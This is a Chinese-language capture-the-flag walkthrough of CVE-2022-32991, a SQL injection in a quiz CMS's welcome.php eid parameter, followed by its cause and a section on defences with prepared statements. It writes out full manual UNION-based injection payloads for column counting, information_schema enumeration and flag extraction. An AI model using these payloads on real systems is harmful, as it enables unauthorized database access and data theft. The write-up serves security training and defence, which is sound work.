CVE-2022-32991 靶场实战:SQL手工注入7步获取Flag完整流程解析
2026/7/12 1:35:22 网站建设 项目流程

CVE-2022-32991 靶场实战:SQL手工注入7步获取Flag完整流程解析

在Web安全领域,SQL注入始终是最常见且危害巨大的漏洞类型之一。CVE-2022-32991漏洞正是一个典型的SQL注入案例,它存在于某CMS系统的welcome.php文件中。本文将带您深入剖析这个漏洞的完整利用流程,从注入点定位到最终获取Flag,每个步骤都配有详细的技术分析和实战演示。

1. 环境准备与注入点定位

春秋云境靶场为我们提供了一个完美的实战环境。首先需要明确的是,这个漏洞的注入点位于welcome.php文件的eid参数处。但到达这个注入点并非一蹴而就,需要经过以下几个关键步骤:

  1. 初始访问:靶场首先呈现的是一个登录页面(login.php),这里并非我们的目标
  2. 用户注册与登录:需要创建一个账户并登录系统,此时页面跳转至welcome.php
  3. 参数探索:登录后URL显示q参数,继续深入点击"start"按钮
  4. 发现注入点:最终在quiz步骤中找到eid参数,这就是我们的攻击入口

重要提示:在实际渗透测试中,必须获得明确授权后才能进行任何测试操作。靶场环境是专门为安全研究设计的合法练习平台。

2. 注入类型判断与闭合构造

确认注入点后,第一步是判断注入类型并构造正确的闭合方式。以下是详细测试过程:

# 测试数字型注入 eid=60377db362694 and 1=1 eid=60377db362694 and 1=2 # 测试字符型注入 eid=60377db362694'

当输入单引号时,系统返回了明确的错误信息:

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/welcome.php on line 98

这表明存在SQL注入漏洞,且注入类型为单引号字符型注入。我们需要构造正确的闭合语句:

60377db362694'--+

这条语句中,--+是SQL注释符号,用于注释掉原SQL语句中后续的部分,从而避免语法错误。

3. 字段数量探测与显位定位

确定注入类型后,下一步是探测查询返回的字段数量,这为后续的UNION注入奠定基础。

3.1 字段数量探测

使用ORDER BY子句逐步增加字段编号,直到出现错误:

eid=60377db362694' order by 6--+ # 报错 eid=60377db362694' order by 5--+ # 正常

测试结果表明原始查询返回5个字段。

3.2 显位定位

通过UNION SELECT确定哪些字段会在页面中显示:

eid=60377db362694' union select 1,2,3,4,5--+

观察页面输出,发现第3和第4个字段的内容会显示在页面上,这就是我们的"显位"。

4. 数据库信息提取

有了显位信息后,我们可以开始提取数据库的关键信息。

4.1 获取当前数据库名

eid=60377db362694' union select 1,2,database(),4,5--+

执行后页面显示当前数据库名为ctf

4.2 获取数据库表名

利用information_schema数据库查询所有表名:

eid=60377db362694' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()--+

返回结果包含多个表名:

user,options,quiz,admin,questions,history,rank,flag,answer

其中flag表极可能包含我们需要的信息。

5. 表结构分析与数据提取

5.1 获取flag表的列名

eid=60377db362694' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=database() and table_name="flag"--+

结果显示flag表只有一个名为flag的列。

5.2 提取flag数据

最后一步,直接从flag表查询数据:

eid=60377db362694' union select 1,2,group_concat(flag),4,5 from flag --+

成功获取到靶场的flag值,完成整个注入流程。

6. 技术原理深度解析

为什么这个漏洞会产生?深入分析其技术原理:

  1. 原始SQL语句推测

    $sql = "SELECT * FROM quiz_data WHERE eid='".$_GET['eid']."'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result);
  2. 漏洞成因

    • 直接拼接用户输入的eid参数到SQL语句
    • 未进行任何过滤或参数化处理
    • 错误信息直接暴露给用户
  3. 防御缺失

    • 缺少输入验证
    • 未使用预处理语句
    • 错误处理不当

7. 防御方案与最佳实践

针对此类SQL注入漏洞,推荐以下防御措施:

防御措施实现方式效果评估
预处理语句使用PDO或mysqli的prepare★★★★★
输入验证白名单验证eid参数格式★★★★☆
最小权限数据库账户仅授予必要权限★★★★☆
错误处理自定义错误页面,不暴露细节★★★☆☆
WAF防护部署Web应用防火墙★★★☆☆

具体代码实现示例:

// 安全版本 - 使用预处理语句 $stmt = $conn->prepare("SELECT * FROM quiz_data WHERE eid=?"); $stmt->bind_param("s", $_GET['eid']); $stmt->execute(); $result = $stmt->get_result();

在实际开发中,应该组合使用多种防御措施,形成纵深防御体系。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询